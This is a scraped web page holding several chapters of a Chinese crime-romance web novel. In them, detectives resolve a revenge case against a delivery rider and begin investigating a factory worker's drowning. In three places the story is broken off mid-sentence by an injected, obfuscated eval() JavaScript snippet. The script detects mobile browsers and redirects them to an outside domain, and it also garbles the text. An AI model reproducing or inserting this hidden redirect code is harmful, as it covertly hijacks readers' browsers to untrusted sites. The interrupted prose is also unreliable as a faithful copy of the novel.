耳边忽然传来刺耳的刹车声,抬头就看见一名外卖员骑着电动车闯过红灯,差点被迎面疾驰的轿车剐翻。车主探出头,愤怒地咒骂:“找死啊!” 那个外卖员稍作停顿,便旁若无人地骑走了,那件制服的颜色太过醒目,和下午裴晓冬穿着的一模一样。 他居然又见到了那个噩梦中的人…… 两年前的雨夜,孩子倒在血泊中,鲜血与雨水混在一起,而裴晓冬,那个罪魁祸首,却只是冷脸站在一旁,任凭警笛声刺破夜空。 裴晓冬的脸与眼前那个外卖员重叠,同样的闯红灯,同样的无知无觉,轻飘飘地把别人的人生碾碎,然后头也不回地走掉。 “果然,都是一个样……” 胸口的愤怒一点点升腾,压抑到就快无法呼吸。“时间能抚平伤口”不过是自欺欺人的谎言,仇恨早在心底生根,如今长成荆棘,倒卷着刺穿血肉。 绿灯亮了,陈森迈步走上斑马线。 这个世界上,有些事情不需要等待正义来审判,如果没人能教会他代价是什么,那就由我来…… “我说得没错吧,陈森?” 罗乐直起身,眼神冷冽:“你搞了一个月的促销都没有让裴晓冬再去你店里取餐。可是机缘巧合,他喜欢你送的饼干,再一次主动到访。” 思绪被拉回现实,陈森缓缓抬起头,眼神里是难以压抑的痛苦和怒意。 “3月28日的晚上22点左右,他去你的店里取饼干,你故技重施,只是这次把水换成了K酮溶液!好歹毒的计划,如果不是这案子闹得沸沸扬扬,外人恐怕真会以为,这不过是一场意外。” 罗乐说着把一份笔录摔在桌上:“告诉你吧陈森,裴晓冬已经醒了。他全供述了,2月14号他去过你的店,3月28号晚上,他又去了你的店,袖子是被你弄湿的。” 审讯室冷白色的光映在陈森脸上,他摇了摇头:“才两年啊,他就出来了。每天骑着电动车满街跑,而我呢?连看见路口都觉得心痛。我儿子才九岁啊……” 罗乐轻叹了口气:“你是受害者,但这不代表你可以用私刑审判别人。” 陈森的眼眶通红,声音带上了哭腔:“他毁了我的家,我凭什么不能毁了他?!” “我好不容易走出来,为什么偏偏又遇到他。而他根本不记得我了,我如此痛苦,他却逍遥自在地活着。走街串巷,像是什么都没发生过!” 罗乐:“当初你拒绝裴晓冬的民事赔偿,也不愿意接受道歉,除了庭审现场,你和裴晓冬本来也没怎么见过,而且……” “我第一次去你店里时,刚巧碰到你的邻居,她甚至一度认不出你了。你知道你这两年的变化有多大吗?” 罗乐停了片刻,翻开档案摊到陈森面前:“从照片看简直是……判若两人。” “你有没有想过,他是真忘了以前的事,还是因为他只是认不出是你?” “够了!”陈森攥紧了桌沿,嘴唇微微颤抖:“裴晓冬为什么可以轻轻松松地重新生活?他为什么还能活着?!” 罗乐静默片刻,声音放缓:“裴晓冬并没有轻松地活着,服刑期间他长期失眠,30岁出头,就诊断出多项慢性疾病。出狱后一直在打零工,直到最近半年才跑起外卖。” “而且……”罗乐停了一会,“他没有亲人的忌日是那一天,他烧纸是为了你的孩子。” “……我的孩子?”陈森的眼神从愤怒变成了空洞,怔怔地靠在椅子上,片刻后他喉咙艰涩地挤出一句:“可我儿子……” 罗乐:“你的儿子在医院撑了三周,最终还是离开了。而裴晓冬,每年祭奠的——都是案发的那一天。” “他记得那场车祸,记得那个路口,可能是冥冥中的安排,他还走进了你的店。你给他的饼干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387447|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想必也是你儿子喜欢的口味吧?” 陈森垂下双手,露出一张被泪水冲刷过的脸,他像是想否认,又像想开口,最后却只剩下一声喑哑的叹息。 罗乐看着他,低声问:“你看过那个视频,有没有在某个瞬间闪过一丝的疑惑,他为什么偏偏去那儿烧纸?” “……”陈森的肩膀垮了下去,他像被抽干了力气,眼泪从脸颊滑到了桌面。 “出事故的丁字路口视野狭窄,这些年没少被投诉,这次路政改造终于重修,而双柳公园是距离案发地最近的十字路口。”罗乐说完拿过一盒抽纸放在陈森面前,转身走了出去。 陶律夏从隔壁观察室出来,递给他一罐热可可,问:“裴晓冬什么时候醒的?” 罗乐: “也许明天,也许是未来的某一天。” 陶律夏反应过来:“你在诈他?” “不算诈,”罗乐停下脚步,转头看向陶律夏:“我们推理还原出的真相能够击溃他的心理防线,是因为他本身就矛盾脆弱。我不相信,他会是完全冷血无情地去布置这一切。” 3月28日夜,光谱咖啡 裴晓冬会来吗?陈森盯着瓶中的液体,微弱刺鼻的气味让他胸口隐隐发闷。 他不是没有想过失败的可能—— 裴晓冬会不会抽烟?会不会开火做饭?要是火势失控呢?会不会波及到无辜的人? 混沌的不安盘旋在脑海,他缓缓吐出一口气,就在这时,门外传来了清脆的铃铛声。 他抬头看向门口,牵出客套的笑容:“我都准备关店了,以为你不来了。” “路上耽搁了。”裴晓冬走到柜台前,店里只开了一盏射灯,昏黄的光打在他身上。 “你这是要?”陈森的目光落在他拎着的黄纸上。 “有个重要的人,今天忌日。”裴晓冬低下头,不想多说。 “哦……”陈森垂下眼,居然要去烧纸?原本他还在犹豫,甚至一度迟疑该不该继续。但现在,连老天都在给他机会。 “老板饼干多少钱?” “做多了不要钱。” “那怎么好意思,您已经送我一次了。” “拿去吃吧,没什么成本。” “那也不行啊,怎么能老是拿您的东西?” “我还想找人到鸿谷大厦取东西,也许你可以帮我跑一趟?” “当然可以啊,我免费给您跑腿。” “那请收下。” “谢谢您,谢谢您等我。” “呃……” “抱歉抱歉,快关门了,省事没开大灯,刚这是被什么绊了一下……” “没事,吹吹风就干了。”裴晓冬接过抹布擦了擦袖子,拎起装饼干的纸袋,“那我先走了。” “唉……”陈森下意识地叫了一声。 “还有事吗老板?”裴晓冬回头。 陈森望着他,嘴唇动了动,想要说什么,可脑海中闪过的却是另一张面孔—— “爸爸,松果的排列是斐波那契数列吗?” “是呀。” “我如果数学竞赛能得奖的话,你会带我去吃披萨吗?” “会呀。” “爸爸,这把伞好看吗?” “你挑的,当然好看。” “那以后我也可以像你一样,给别人挡雨啦。” 眼底的犹豫一闪而过,陈森轻轻地点了点头:“骑车注意安全。” 裴晓冬微微一怔,又想起两年前的那个夜晚,模糊视线里那个孩子的脸,他短暂停顿,在清脆的铃铛声中走进了夜色里。 命运将两个原本无关的人扭转进彼此的轨道,用精心编排的错位与纠缠,等待着他们如何挣扎,又将如何沉沦…… 68.重新开始 双安化工集团大门口,闹哄哄的一片,灵棚支在正门一侧,几只简陋的花圈斜靠在墙边。四月中旬,气温已经回暖,却没什么风,白幡垂着,死气沉沉。 死者名叫杜彦成,是双安化工一条生产线的工人,三天前意外落水溺亡。家属把灵棚搭在集团大门口,要厂里给个交代。 “已经闹两天了。”苗川从现场回来,往椅子上一瘫,“家属说是酒精和失业的‘双重暴击’把人推下了水。” “自杀?”罗乐敲键盘的间隙抬起头。 “尸体刚从殡仪馆冷柜拉过来,尸检报告还没出呢。不过呢,杜彦成水性很好,喜欢钓鱼,他在河里溺亡,家属认定是失业喝酒寻短见。” “这案子到咱们这儿了?“罗乐问。 “八成,我看丁局把李队叫过去了,根据我的观察,现在当务之急倒不是破案,得赶紧把厂区门口哭丧的队伍整走。” 苗川站起身给自己的茶杯加满水,“警车一撤,人又冒出来,老人孩子,还有孕妇,全在那儿嚎。” 话音刚落,李达坤就黑着脸走进来:“死者家属堵厂门,厂长就跑来堵局长,说影响经营。现在死人活人全甩给我们了?!” 罗乐转头朝向苗川:“你进门时候不是说厂子停工,死者没活干?都停工了,怎么影响经营?” “不是整个厂子停工,是杜彦成工作的那条生产线停了。” 绕过大门口喧闹的人群,苗川和罗乐在保安指引下从南门行人通道进入厂区。刚进办公室,一个中年男人就迎上来,表情比哭丧队还要难看:“两位同志,你们可算来了,我是双安的副厂长田明杰。” “说说情况吧。”罗乐语气淡淡。 田明杰露出“终于有人接盘”的神情,连忙开口:“这事儿啊真不怪我们。杜彦成只是临时工,生产线停了,我们也着急,但我也没去跳河,是不是?” 苗川冷笑一声:“呦,出事了就成临时工了。” “您这话说的,他确实是临时工,不过该给的待遇一分没少。“田明杰干巴巴地解释。 ”他出事和厂里没关系,我们也愿意做点人道安抚,可家属那边直接赖上我们了……唉,现在又待着不走。” “你刚说他工作的那条生产线停了,停了多久?”罗乐问。 “一个多月了。”田明杰挤出声。 “为什么停?” “赶上环保换标,那条线要调整升级。集团已经计划重启新线,到时候还要招工。“田明杰说着又叹了口气,“他要是能等,完全可以回来继续干,可他偏偏心急,非要闹得大家都不安生。” “他怎么闹的?死前来过厂里?”苗川问。 “来过,还跑我这儿抱怨没活儿干,我还觉得奇怪呢,他过了一个多月了怎么想起来抱怨了。“田明杰答。 “什么时候?” “落水前没几天吧,具体日子你们可以去保卫处查。” “他落水那天来了吗?”罗乐又问。 “绝对没来。“田明杰很干脆,“家属说他来了,但我让保卫处把监控翻了个遍,也没见他进厂门。而且那天是星期六,厂区里人本来就少,只有值班的产线在运转。” “你们到底有没有劳务纠——” “绝对没有!”没等苗川说完,田明杰就急着否认,“他签的是短期合同工,项目停了,劳动关系自然就解除了。这个您要查的话,我可以让人力调出来。 见秘书端着茶走进来,田明杰顺势收起有些冷硬的口气,重新堆起笑容:“两位警官先坐下喝点茶吧。” 罗乐冲着他摆摆手:“喝茶就免了,我们还得尽快处理门口那事儿。田厂长您只要和相关部门打好招呼,配合我们调查就可以了。” “这个一定配合。”田明杰连忙点头。 起风了,原本垂着的白幡扑棱扑棱地飘了起来。二人刚走到门口,就听见一个壮实的中年男人扯着嗓子嚷:“我姐夫死得不明不白,厂子一句话就想打发人?今天要是不给个说法,明天我就带人去市里堵门!” “对啊!不闹出点动静,谁会管咱们?”人群里立刻有人附和。 门卫脸色一变,慌忙抓起对讲机呼叫。几个保安闻讯赶来,却只是缩在外围,谁也没敢硬挤进去。 苗川大步走上前,沉声喝道:”上哪个市里堵门?谁要去堵门?“ 人群里激昂的气势散了大半,苗川径直走到一个中年女性面前,声音收缓:“你就是沈颖萍?” “对。”女人脸色苍白,看起来已到孕晚期。 “是你说的,杜彦成落水那天来厂里了?”苗川又问。 “对,”沈颖萍声音很轻,但坚决,“我丈夫说要去厂里找人,结果就再也没回来。” “后续调查还在推进,你们待着也解决不了问题,现在天热,大人孩子在这儿熬着,折腾的还是你们自己。先回去等着,行吗?”苗川劝道。 “别信他们!”那壮实男人又嚷起来,“人都没了,我们还要忍气吞声?” 苗川盯了他一眼,又转向沈颖萍:“这人谁啊?” “我弟弟。” “孩子舅舅啊。”苗川点点头,转身直视那男人,“给家人撑腰没错,但不能犯法。堵这儿妨碍交通、影响生产经营,就是违法聚集!闹两天还不够?再这么闹,你姐夫的事还没个说法,你自己就得先进去!” 他顿了顿,环顾人群:“听清楚了,不是让你们认栽,真想讨公道,把力气留到该走的程序上。” “这是最后一次警告!” 人群中的哗然声渐渐弱下去,一个小男孩被大人挤得踉跄,身子一歪,险些摔倒。罗乐眼疾手快,把孩子扶住,他蹲下身问:“杜彦成是你爸爸?” 男孩点点头,眼睛通红,却倔强地忍着没掉泪。 罗乐从口袋里掏出一块巧克力,放进他手心:“难过的时候就哭,眼泪就是让这种时候好过一点的东西。” 安顿完家属,两人回到局里,罗乐忙里偷闲又跑去了技侦实验室。 “你真打算连请一个星期?”刘瑞接过他手里的咖啡。 “那当然,说过的话当然得算数。”罗乐手上一杯杯地分着咖啡。 “哎?为啥小陶还有蛋糕?”陈建平眼尖,立刻嚷嚷。 “陶老师可是帮我破案的大功臣,额外犒劳怎么了?”罗乐清了清嗓子,装模作样地问陶律夏:“下班能不能陪我去河边复盘线索?给我点破案灵感。” “这是加班费?”陶律夏瞥了眼桌上的蛋糕和黑咖啡。 “加班费哪够啊,给你的贿赂……” * 夜色静谧,湖面泛着粼粼闪光。 半个小时前还哼哧哼哧蹬自行车的罗警官,此刻化身“船工”,双臂起落间,木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398586|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桨拨开水面,划出一道道白浪。 “贿赂可以兑现了,说吧。”陶律夏环顾一圈,目光落回罗乐身上:“这里就是案发现场?” “还离得远呢……”罗乐一脸悠哉,划得漫不经心。 “不是复盘线索吗?线索在哪?” “你还真信啊。”罗乐咧嘴一笑,“这案子一个接一个,我不得见缝插针地约你出来?省得刘瑞又给你安排活。” 陶律夏眼底掠过一点笑意,随即正色道:“也好,有件正事,我一直想和你确认。” 罗乐一听,立刻收起吊儿郎当的笑,船也不划了,坐得端端正正。 “我们现在算复合吗?”陶律夏直视他,“或者换个说法——我想请你确认,我们现在是不是已经重新开始?” “扑通!”船桨砸进水里,水花四溅。罗乐探出身子把桨捞上来,甩了甩水,一把扔进了船舱:“算不算你还不清楚吗?” “我清楚什么?” “我都那样了!” “哪样?”陶律夏问。 罗乐黑着脸,偏过头不再接话。水波一圈圈漾开,在湖面铺成一片流动的金色。 “‘那样’可以涵盖很多情况,你指的是什么?”陶律夏声音压低,逼近几寸,“半径五十米都没有人,你有什么话说不出口?” “你再问,我现在就能让你原地体会!”罗乐恶狠狠地瞪了过去。 那个表情配上别扭的动作,陶律夏后知后觉地反应过来,他有些窘迫地低下头:“你能不能认真点?认真回答我,我们现在是不是重新开始?” “不是!”罗乐嘶声大喊,压抑太久的情绪冲破喉咙在夜色里炸开。他紧盯着陶律夏,嗓音因激动而微微发颤:“感情是开关吗?能说开就开,说关就关?” 夜色静默如迷…… 陶律夏忽然起身,挪向罗乐身边。船板在脚下嘎吱作响,小船猛地晃了几下。罗乐也顾不上伤心了,一把扣住他的手臂:“你小子是不是脑子抽了?想拉我一块翻湖里?!” “做了危险的示范,我知道。”陶律夏反手按住罗乐的手腕,眼神沉静,“稍等几分钟再吼,可以吗?”说完他镇定落座,身体微倾,唇覆了上去,吸吮、探入、舌尖勾过齿隙,缠绕得呼吸尽乱…… “偶尔任性一次,就纵容了自己。”陶律夏停下,退开半寸,柔声道:“好了,你现在可以大喊大叫了,喊完再回答我,要不要重新开始。” “我我我……大喊大叫个鬼啊!我上幼儿园呢!?”罗乐刚被撩得心火乱窜,冷不防就被松开。他扯着脖子吼完,转而低声逼问:“在家亲你一下推推搡搡,一出来就这么奔放?你好这口?” “克制是我的选择,放纵是我的自由,我就是喜欢大自然,有风、有水、有月光,这不比四堵墙有情趣多了?”陶律夏仰着头和他对视,理直气壮,坦荡极了。 罗乐被他这副大胆的样子震惊了,嘴张了几次,硬是没能接上完整的句子:“你、你、你……你还要不要脸了?” “我只要你。”陶律夏抬起下巴,目光灼亮。 如果先前还有一点点郁结在心的怨念,现在只余真挚又热烈的甜意在罗乐心头萦绕。船身又晃了一下,水花轻溅,哪还管得了船是不是要翻了,他伸手扣住陶律夏的后颈,压上了唇齿。 “不是重新开始,我一直爱你,只是你,离开了我……” 69.中二词典 气息交错间,陶律夏别开了脸,罗乐还不甘心,追着在他唇角又啄了几下:“要不我们别回去了,岸边有帐篷能住,你不是喜欢野外嘛?” “没带东西。” “我带了。”罗乐压低声音,暧昧得很。 陶律夏脸一红:“……我说的是换洗衣物和洗漱包!” 罗乐圈住他,没正形地笑:“那更省事,不穿不就得了。” 夜风一吹,陶律夏耳尖也红了,从罗乐怀里挣开,挪回前座,一脸正经地说:“……我饿了。” “一上来就撩,你能不饿吗?”罗乐把随身的包扔了过去,“想亲的时候不要命似的往人怀里扑,亲爽了又装模做样地喊饿,下次再这样,我就把你扔水里!” “正好告诉你,我的潜水证拿到了救援级。”陶律夏拉开书包的拉链,包里装着三明治、冷吃虾、果切,还有一个保温杯。 扭开盖子喝了一口,可可牛奶,还是热的,陶律夏眼睫微垂,声音都变得软软的:“好甜啊,和你一样。” “闭上你的嘴!老子什么时候甜过?!” “哦,你是辣椒味的,又甜又辣是什么?是怪味吗?”陶律夏托着下巴,装模作样地思考。 “你多大了,还以为自己十七岁呢?还装可爱。”罗乐故意瞪他。 “还差十天就二十一岁,你刚好想想可以送我什么生日礼物?”陶律夏说得坦然,像在布置作业。 “你可真行!哪有和人主动讨礼物的?你是小学生吗?” 月影浮在水面,随波轻轻摇晃,罗乐侧过眼,“小学生”正慢吞吞地吃东西。吃个东西而已,到底有什么可爱?怎么就又被他那个样子勾了心神。 “罗船工”一边划桨一边思索这难解的宇宙命题,忍不住伸出脚碰了碰那晃来晃去的脚尖:“好吃吗?” 陶律夏抬眼:“没你做的好吃。” 罗乐再自信,也知道京北最佳三明治餐厅出品能甩自己几条街。答案只有一个,“小学生”又给他加了十倍滤镜…… 两人上岸还了船,沿着河边的摊位漫步。说笑间,经过一辆银灰色的越野车,陶律夏脚步一顿,侧头望去—— 后备箱敞开,被改造成了一个小吧台:手冲壶、酒瓶、量酒器、冰桶一应俱全。暖黄色的灯串围了一圈,像是从热闹中切出这一方小小的天地。 车旁走出一个男人,体态挺拔,戴一副金丝框眼镜,深灰色衬衫的袖子挽到手肘,露出腕间一只工程师系列的机械表。 “……骁然师兄?” “律夏?”男人转过头,眼神里掠过几分惊喜。 “你这是?”陶律夏指了指车后的临时”吧台“。 “露营,顺便调酒。”程骁然淡淡一笑,举杯冲着远处几个朝他吆喝的年轻人示意了一下,转过头问:“你呢,来这儿是?” “划船。”陶律夏也笑了一下。 “有情调,喝点什么?清爽的,还是浓烈一点,或者想不想来点特别的?”程骁然问。 陶律夏摇头:“谢谢,我不喝酒。” “调酒和化学实验其实差不多,比例、温度、次序缺一不可。”程骁然用捣棒往杯底压了几下。 “薄荷叶释放香气,糖浆调节甜度,冰块稳定温度。溶剂--”他拉开苏打水,气泡“嘶”地冲入杯中,“让成分充分融合。” “最后,是一点甜酸度平衡……”程骁然切下一角青柠,挤入几滴汁液,又把一片挂在杯口,插入吸管,递给陶律夏:“无酒精 Mojito,试试看。” “朋友喝什么?”他又转向罗乐。 “Negroni,不过少放一点金巴利,我嫌那玩意太苦。你这儿有大块冰吗?”罗乐问。 “行家啊。”程骁然笑笑,伸手拽过冰桶,用冰钳夹出大冰块,动作娴熟地搅拌、滤冰,琥珀色的酒液倾入杯中,杯壁还挂着一层白雾。 罗乐掏出手机,却发现没有付款码,“怎么付账?” 程骁然不以为意地摆摆手:“别破坏气氛,纯属兴趣,愿意赏脸尝尝就好。”远处传来乐器调音的声响,他望了一眼,朝两人笑了笑:“两位自便,我过去玩一会儿。” 陶律夏握着杯子在草坪上坐下,介绍说:“实验室的师兄,程骁然,我进实验室时,他已经快博士毕业了。” 罗乐在他旁边坐下,啜了一口杯中的酒,赞道:“很有水准,你师兄调酒的水平不错。” 远处,程骁然折回车里搬出一只卡洪鼓,信步走到临时搭起的简易舞台,在乐手旁落座。 他双手一抬,在鼓面上端敲出一个浅浅的四拍,随后掌心落在鼓面中央,低沉的“咚”声垫底,吉他和萨克斯很快合上,草坪的氛围顿时活络了起来。 “他好像和以前不太一样了……”陶律夏的目光停在舞台中央。 “有钱的缘故?你们化学专业读到博士是不是挺能挣钱?”罗乐问。 陶律夏转过头:“他有钱吗?怎么看出来的?车和表看起来都蛮普通。” “没开超跑就是普通人呗……”罗乐伸手揉了一把陶律夏的脑袋,“你师兄那身行头和你比确实一般,但他真的有钱,而且是那种「不在意钱」的有钱。” “怎么讲?” “你瞧见他那些酒没,德式、英式、荷兰的高端琴酒摆了一排,麦卡伦十八年的雪梨桶只是开胃菜,旁边那瓶波本我认得, Pappy Van Winkle的收藏款,好几万一瓶,就那么搁那儿让朋友随便喝,气泡酒用的都是库克粉红香槟年份款。” “库克粉红香槟有什么特别吗?”陶律夏问。 “Krug Rosé当然特别了。”罗乐俯身凑到他耳边,放软了语气:“等咱俩结婚,就得开一瓶。” 陶律夏偏头看向他:“你什么时候这么懂酒的?” 罗乐笑得眼睛都弯了,他心情大好地把杯里的酒一饮而尽。 “你笑什么?”陶律夏用胳膊碰了碰他,“有什么好笑?” “我能不笑吗?你居然没反驳‘谁要和你结婚’。有个哥们喜欢,和他喝过几回。” 陶律夏眸色一沉,紧盯着他:“什么好哥们?几回是几回?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415259|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>罗乐噗地笑出声,把陶律夏手里的杯子拿过来喝了一口,嘴角一挑,露出嫌弃的神色:“调太甜了,得让你师兄多挤点柠檬才对味。” “你——”陶律夏刚刚扬起手就被罗乐反手握住,“就你这点力气,跟小猫扑腾爪子似的。等以后咱们养只猫,你就天天跟它挥着拳头对练,真要打不赢,就喊我……” “哥,永远站在你这边。”罗乐咧嘴一笑,在他手背亲了一口。 “喂!你注意点。”陶律夏抽出手,目光往四周一掠。 “怕什么?”罗乐顺势把人揽进怀里,低声打趣:“别人哪有空盯咱们?人家比咱们放得开。” 陶律夏从怀里挣开,还是不自觉地朝湖边望去,果见两名年轻男人肩并肩坐着,笑闹几句就亲到了一起。他心口微滞,连忙偏过头。 罗乐见状笑道:“陶老师,你这本事可以啊,在奔放和正经之间切换得这么自如?” “我都说了,偶尔任性一次,克制是常态,放纵是例外。”陶律夏瞪他。 “不对吧?刚才放纵还是自由呢!我看你就是喜欢——无人的野外。”罗乐笑得仰倒在草地上。 “你有完没完!”陶律夏又抬起手,似要拍下去。 草坪边的灯串齐齐亮起,远处飘来轻盈婉转的提琴声,月光透过云层,勾出一圈银边。 那只扬起的手缓缓落下,覆在了罗乐的手背上,温热贴着掌心把五脏六腑都熨得柔顺舒适。罗乐伸手揽住他,在发顶亲了一口:“你和我说实话,是不是喜欢这种会搞浪漫的提琴手?” “怎么?你想学?” “问你话呢,快说!” “哪种喜欢?” “喜欢男人的喜欢。” “技能从来不是喜欢的决定因素,不过——“陶律夏唇角微微动了动,神色稍稍柔和,“我妈妈应该喜欢,她说我爸爸是乐团的小提琴手。” 罗乐望着他,这还是陶律夏第一次和自己说这些事,他心口酸涩又发烫:“小提琴手啊,那一定很帅吧?” “是,很帅。我妈说他是一抬弓,整个舞台都会亮起来的人。” “你想他吗?”罗乐把手臂收紧了一些。 “我没有见过他,小时候,我妈说他去了远方。对我来说,他是一个角色,一段叙述。我经常想的人是我妈妈,九年前,她就离开了我,我舅舅那会说她也去了远方。” “远方是贯穿我童年和少年时期的固定叙事,这些以后再慢慢告诉你好吗?”陶律夏转头看着罗乐。 春夜的风夹着新草气息把罗乐心口那一下下急促的鼓动烘得更响,寥寥数语却足够让眼底泛起热意。心像被什么轻轻托住,他整个人都软下来,低着头把下巴抵在陶律夏的发顶。 陶律夏扬起头,将往事悉数收拢,把情绪转向一个全然不相干的出口:“我和小猫打架,你真的要站在我这一边?” “这还用问!我永远站在陶律夏这一边。” “好的,26岁了,中二词典又添上一笔。” “好呀,诡计多端的小学生还学会了钓鱼执法。” 70.钓鱼佬 第二天上午,法医办公室,陈疏琳接过罗乐递来的纸杯,介绍起杜彦成的情况:“死者肺部充盈水液,符合溺水特征。” “是酒后吗?”罗乐拿着报告翻看。 “血样里确实检出酒精,但浓度很低。”陈疏琳回。 罗乐停下翻报告的手,抬头问:“低到什么程度?” “以他的体重推算,不足以影响行动能力。”陈疏琳指了指报告,“不过,他的血样和其他检材中都发现H剂,你翻到第二页。” “H剂是什么东西?”罗乐问。 “一种中枢神经抑制剂,根据检材浓度,提示存在外源性摄入,也就是说‘不是人体内自然合成’的。” “这会导致他落水吗?”罗乐又问。 “这类抑制剂会让人反应迟钝、肌力下降,确实会增加意外风险。“ 陈疏琳说着把纸杯端到口边喝了一口,微微一愣,揭开了杯盖:“梨汤?你怎么会买这个?” “去对面街新开的一家网红店转了转,顺便给您带的。” “你去网红店?买东西?”陈疏琳不可思议地看着罗乐。 罗乐只低头翻着手里的报告,又问:“照这么推算,杜彦成很可能是在河边或者去河边的路上服用了H剂。” “嗯,他身上没有新鲜的穿刺痕,排除注射,更符合口服。至于服用时间……” “还需要结合其他证据,根据检材推测,大概是在落水前短时间服用--很可能在一小时以内。”陈疏琳说完又喝了一口,还是,桂花味的…… 从法医科出来,罗乐拐去了隔壁的技侦实验室。 “死者肺里的水液能明确是河水吗?”他拉过一把椅子,坐到陶律夏身边,把锡纸包放在桌上--“芝士焗红薯。” 陶律夏抬头看他一眼:“……你把这儿当茶餐厅了,怎么什么都往里带?” “又不是榴莲,怎么不能带了了?刘博士都没说什么。”罗乐撕开锡纸放在陶律夏手边,“显微镜盯一上午,血糖掉了都不知道,赶紧吃两口。” 陶律夏伸手拿起,咬下一口:“好甜……” “你不是爱喝黑咖啡嘛,配着正好。”罗乐咧嘴笑道,“继续说吧,这舟形藻怎么了?” “你还认识舟形藻?!” “我认识汉字好不好?”罗乐在他脑袋上轻轻弹了一下,“你的图片命名可不是一般得清楚。” “哦……”陶律夏调出显微图像,“在死者肺部液体中检出了硅藻,处理后经计数对比,硅藻群落构成与白沙河水样高度相似。” “此外,还有几缕白色纤维,判定为柳絮。“陶律夏切换了一张显微镜图片,”我查了白沙河望柳滩一带的街景,那一片密植柳树,现在仍是飘絮期。” “硅藻、柳絮再结合检材里出现的无机微粒、衣物纤维里的水草碎屑等,可以推断死者的溺水地点与白沙河望柳滩高度相关。” 白沙河从北向南贯穿京北,河两岸的风貌因地段差异迥然不同。 上游水流湍急,势如奔马,下游河面开阔,水流舒缓,夏日常有人在水面划浆板。中段自城市间穿流而过,沿岸既有酒吧、咖啡馆遍布的霓虹地带,也有绿植环绕的静谧步道。 罗乐和陶律夏划船的地方,则是这段的”河心“,夜里灯影交错,被人戏称为“京北多瑙河”。 “京北多瑙河”往北走1.5公里便是望柳滩,两侧筑有防洪堤坝,堤顶有接近三公里的巡河路。 沿着巡河路北行,便是杜彦成家人口中他常常钓鱼的永顺桥。苗川眯着眼沿着河岸扫了一圈:“这哪有钓鱼的人啊?” 罗乐抬手往远处指了一下:“那儿。” “哪儿啊?”苗川顺着望去,撇嘴道:“别说人了,连个鸟影都没看见。” “你这眼神,也就够查夜总会灯牌的。”罗乐低笑一声,“桥洞底下,看见没?桥墩旁那块混凝土平台。” 苗川定睛瞧了半天,这才在桥体下辨认出一个人影。那身形和灰白的桥墩几乎融成一体,要不是偶尔甩竿,根本看不出来是人。 “不是吧?那钓鱼佬咋过去的?还能游过去不成?”苗川探头打量河面。 “付所,能从水务队或者附近管理所调条快艇过来吗?嗯,在白沙河北段139号定位点。”罗乐已打完电话。 “要啥快艇啊?这天阴沉沉的,还有点小风,弄条手划多好,刚好展示展示你对墙扣杀练出来的臂力。”苗川开起玩笑。 罗乐推了推鼻梁上的墨镜:“我只给我对象划船,你不在服务范围。” “少整那儿情圣发言了,你那云对象搁哪呢?”苗川把烟捻灭,丢进垃圾桶里。 二十多分钟后,马达声轰鸣,快艇顶着浪花靠了过来。付勇坐在艇头,他四十出头的年纪,皮肤晒得黝黑。 “行啊你们。”付勇扯着嗓子喊,“快到饭点了,把我叫来陪你们喝风?” 罗乐咧嘴一笑:“帮大忙呢,案子破了请您吃顿好的,要啥酒随便点。” “对,账全记李达坤头上。”苗川在后面接话。 付勇翻了个白眼:“得了吧,我敢给他记账,不想请就直说!去哪儿?” 苗川抬手指向桥洞底下的石墩:“那儿。” “卧槽!”付勇顺着方向一瞧,立刻爆了句粗口,“今天还发了蓝色预警,钓鱼佬还敢上去,胆子也太肥了吧。” 苗川惊讶道:“你也能看见?” “废话,我又不瞎。”付勇一脚把艇蹬正,朝他们招手,“上来!” “是前两天溺水那案子?不是掉在望柳滩那一段吗?你们咋跑这儿来了?”付勇问。 风从河面掠过,把罗乐的头发吹得乱飞,他系紧救生衣往椅背斜斜一靠:“那边没线索,监控没拍着,目击者更是没有。死者家属说,他常来这儿钓鱼,我们顺路来看看。” “能来这儿钓鱼的,那可都是老手。那块平台是当年修桥时留下的检修基座,甩竿能打到河心,岸边人又看不清,快成他们圈子里半公开的钓点了。”付勇说。 前方桥洞下,浮漂一沉一浮,那钓鱼佬正要提竿,快艇呼啦一下靠近,水面被搅得翻腾一片。 “我靠、我靠!”钓鱼佬急得直拍大腿。 “马大灶?怎么又是你?”付勇隔着水就开始喊。 “付所长?您怎么亲自跑来了?”钓鱼佬斜眼瞥过来,语气里还带点不满,“这一口子我等了一上午,眼瞅着就要开窝,全让你给搅了!” “马顺发!你空军少给别人甩锅!”付勇嗓门一提,“赶紧收竿走人,这地方不是钓鱼台,谁让你大摇大摆蹲这儿的?” “这才刚起口呢!你让我现在收,不等于白守半天?”马顺发急了。 